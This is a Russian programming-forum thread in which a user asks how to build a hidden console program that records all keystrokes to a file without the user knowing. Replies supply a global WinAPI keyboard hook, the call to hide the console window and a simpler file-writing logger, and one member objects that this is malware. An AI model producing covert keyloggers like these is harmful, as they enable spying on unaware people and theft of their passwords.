Форум программистов, компьютерный форум CyberForum.ru

Обработчик нажатия клавиш - C++

Восстановить пароль Регистрация
 
 
Рейтинг: Рейтинг темы: голосов - 19, средняя оценка - 4.68
Egor138
 Аватар для Egor138
30 / 11 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 13:10     Обработчик нажатия клавиш #1
Хочу написать обработчик нажатия клавиш. А именно чтобы после запуска приложения консольное окно сворачивалось и программа считывала все нажатые клавиши и записывала их в текстовой файлов.

Вот основные проблемы, которые у меня возникают при создании:

1) Каким именно должен быть обработчик клавиш
2) Как полностью свернуть окно, чтобы оно нигде не отображалось и как потом постоянно считывать клавиши


Заранее спасибо!
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
15.08.2013, 13:10     Обработчик нажатия клавиш
Посмотрите здесь:

Отслеживание нажатия клавиш C++
C++ Отслеживание нажатия клавиш.
C++ Имитация нажатия клавиш С/С++
C++ Распознавание нажатия клавиш
C++ Нажатия клавиш
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 13:13     Обработчик нажатия клавиш #2
Цитата Сообщение от Egor138 Посмотреть сообщение
2) Как полностью свернуть окно, чтобы оно нигде не отображалось и как потом постоянно считывать клавиши
Зачем его сворачивать? Просто не создавай его.
Egor138
 Аватар для Egor138
30 / 11 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 13:20  [ТС]     Обработчик нажатия клавиш #3
Цитата Сообщение от castaway Посмотреть сообщение
Зачем его сворачивать? Просто не создавай его.
Мне нужно теперь запустить обработчик. Какая архитектура и вообще как его создать?
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 13:22     Обработчик нажатия клавиш #4
Можно установить хук: SetWindowsHookEx ( http://msdn.microsoft.com/en-us/libr...=vs.85%29.aspx ) на клавиатуру ( WH_KEYBOARD_LL ).
alex1392
31 / 31 / 3
Регистрация: 24.07.2013
Сообщений: 187
15.08.2013, 14:46     Обработчик нажатия клавиш #5
Конешно немного страшно отвечать но походу имеется виду создать обработчик не используя винапи )) так как походу человек весит в консоли и дальше пока еще ничего не видит)
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 15:11     Обработчик нажатия клавиш #6
Не знаю что ему нужно.. Вот пример для WinAPI без записи в файл:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <windows.h>
#include <cstdio>
 
static LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ) {
    if ( wParam == WM_KEYDOWN ) {
        KBDLLHOOKSTRUCT * pkhs = (KBDLLHOOKSTRUCT *)lParam;
        if ( pkhs->vkCode == VK_ESCAPE ) PostQuitMessage( 0 );
        printf( "%c", (int)pkhs->vkCode );
    }
    return CallNextHookEx( 0, nCode, wParam, lParam );
}
 
int main()
{
    HHOOK g_hHook = SetWindowsHookEx( WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0 );
    MSG msg;
    GetMessage( &msg, NULL, 0, 0 );
    UnhookWindowsHookEx( g_hHook );
    return 0;
}
Egor138
 Аватар для Egor138
30 / 11 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 15:49  [ТС]     Обработчик нажатия клавиш #7
castaway, а вот за это спасибо! действительно то, что и хотел. А теперь можно консоль полностью убрать. Тоесть чтобы она вообще нигде не отображалась и пользователь не знал о ее существовании, но при нажатии комбинации, допустим cltr+alt+f1 она появлялась ??
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 15:54     Обработчик нажатия клавиш #8
Скрыть консоль: ShowWindow( GetConsoleWindow(), SW_HIDE );
Показать: ShowWindow( GetConsoleWindow(), SW_SHOW );
Как это сделать по комбинации клавиш сам сообразишь.
Jupiter
Каратель
Эксперт C++
6542 / 3962 / 226
Регистрация: 26.03.2010
Сообщений: 9,273
Записей в блоге: 1
Завершенные тесты: 2
15.08.2013, 15:56     Обработчик нажатия клавиш #9
Цитата Сообщение от Egor138 Посмотреть сообщение
Тоесть чтобы она вообще нигде не отображалась и пользователь не знал о ее существовании

Не по теме:

за вами уже выехали

castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 15:58     Обработчик нажатия клавиш #10
Цитата Сообщение от Jupiter Посмотреть сообщение
Запрещено создание и распространение вредоносного ПО, вирусов, кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания.
Ну тут пока нет ничего того что подходило бы под эти критерии
Egor138
 Аватар для Egor138
30 / 11 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 16:02  [ТС]     Обработчик нажатия клавиш #11
Jupiter, Пишу исключительно для собственного интереса и не более )
Jupiter
Каратель
Эксперт C++
6542 / 3962 / 226
Регистрация: 26.03.2010
Сообщений: 9,273
Записей в блоге: 1
Завершенные тесты: 2
15.08.2013, 16:02     Обработчик нажатия клавиш #12
castaway
Цитата Сообщение от Egor138 Посмотреть сообщение
программа считывала все нажатые клавиши
Цитата Сообщение от Egor138 Посмотреть сообщение
пользователь не знал о ее существовании
а шо это как не вредоносное ПО
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 16:04     Обработчик нажатия клавиш #13
Цитата Сообщение от Jupiter Посмотреть сообщение
а шо это как не вредоносное ПО
Keylogger далеко не всегда является вредоносным ПО.
Egor138
 Аватар для Egor138
30 / 11 / 2
Регистрация: 10.08.2012
Сообщений: 619
Записей в блоге: 2
15.08.2013, 16:58  [ТС]     Обработчик нажатия клавиш #14
castaway, а для чего вы использовали
C++
1
GetMessage( &msg, NULL, 0, 0 );
???
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 17:00     Обработчик нажатия клавиш #15
Без нее не будет работать хук.
Bend3r
 Аватар для Bend3r
142 / 129 / 17
Регистрация: 29.07.2012
Сообщений: 681
15.08.2013, 17:12     Обработчик нажатия клавиш #16
Давно делал тоже такую программу. Хотел что-то подобное KeyLogger за пользователем. Надо будет переделаешь для себя. Вот код:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#pragma hdrstop
#include <iostream>
#include <fstream>
#include <Windows>
#include <conio>
 
using namespace std;
 
void main()
{
SetConsoleCP(1251);
SetConsoleOutputCP(1251);
ofstream f;
SYSTEMTIME st;
GetSystemTime(&st);
f.open("file.txt");
HWND hWnd = GetConsoleWindow ();
ShowWindow(hWnd, SW_HIDE);
while(getch() != 27)
{
while(!kbhit());
 
f << "Код клавишы - " << getch() << "День - " << st.wDay << endl;
 
}
ShowWindow(hWnd, SW_SHOW);
 
f.close(); 
}
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 17:20     Обработчик нажатия клавиш #17
Bend3r, это программа не будет работать если окно потеряет фокус, а оно его потеряет.
Bend3r
 Аватар для Bend3r
142 / 129 / 17
Регистрация: 29.07.2012
Сообщений: 681
15.08.2013, 17:55     Обработчик нажатия клавиш #18
Цитата Сообщение от castaway Посмотреть сообщение
Bend3r, это программа не будет работать если окно потеряет фокус, а оно его потеряет.
Программа будет работать, т.к программа свернется в трей. И закрыть можно будет только через диспечер либо нажатием Esc.
castaway
Эксперт С++
4839 / 2978 / 367
Регистрация: 10.11.2010
Сообщений: 11,012
Записей в блоге: 10
Завершенные тесты: 1
15.08.2013, 18:06     Обработчик нажатия клавиш #19
Во-первых не в трей, а в taskbar.
Во-вторых не важно куда свернется программа, важно что она будет "ловить" нажатия клавиш только тогда, когда на ней будет установлен фокус. Если окно с программой теряет фокус (если щелкнуть левой кнопкой мыши по другому окну, т.е. активировать другое окно), то и "ловить" она ничего не будет. Вы хоть сами то запускали свою программу?
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
16.08.2013, 22:42     Обработчик нажатия клавиш
Еще ссылки по теме:

Нереагирование на нажатия клавиш C++
C++ Отлов нажатия клавиш
Имитация нажатия клавиш C++

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
Новичок
Модератор
 Аватар для Новичок
1137 / 708 / 148
Регистрация: 17.07.2012
Сообщений: 4,039
Записей в блоге: 1
Завершенные тесты: 2
16.08.2013, 22:42     Обработчик нажатия клавиш #20
Цитата Сообщение от Egor138 Посмотреть сообщение
Jupiter, Пишу исключительно для собственного интереса и не более )
А зачем консоль скрывать?
Yandex
Объявления
16.08.2013, 22:42     Обработчик нажатия клавиш
Ответ Создать тему
Опции темы

Текущее время: 03:51. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru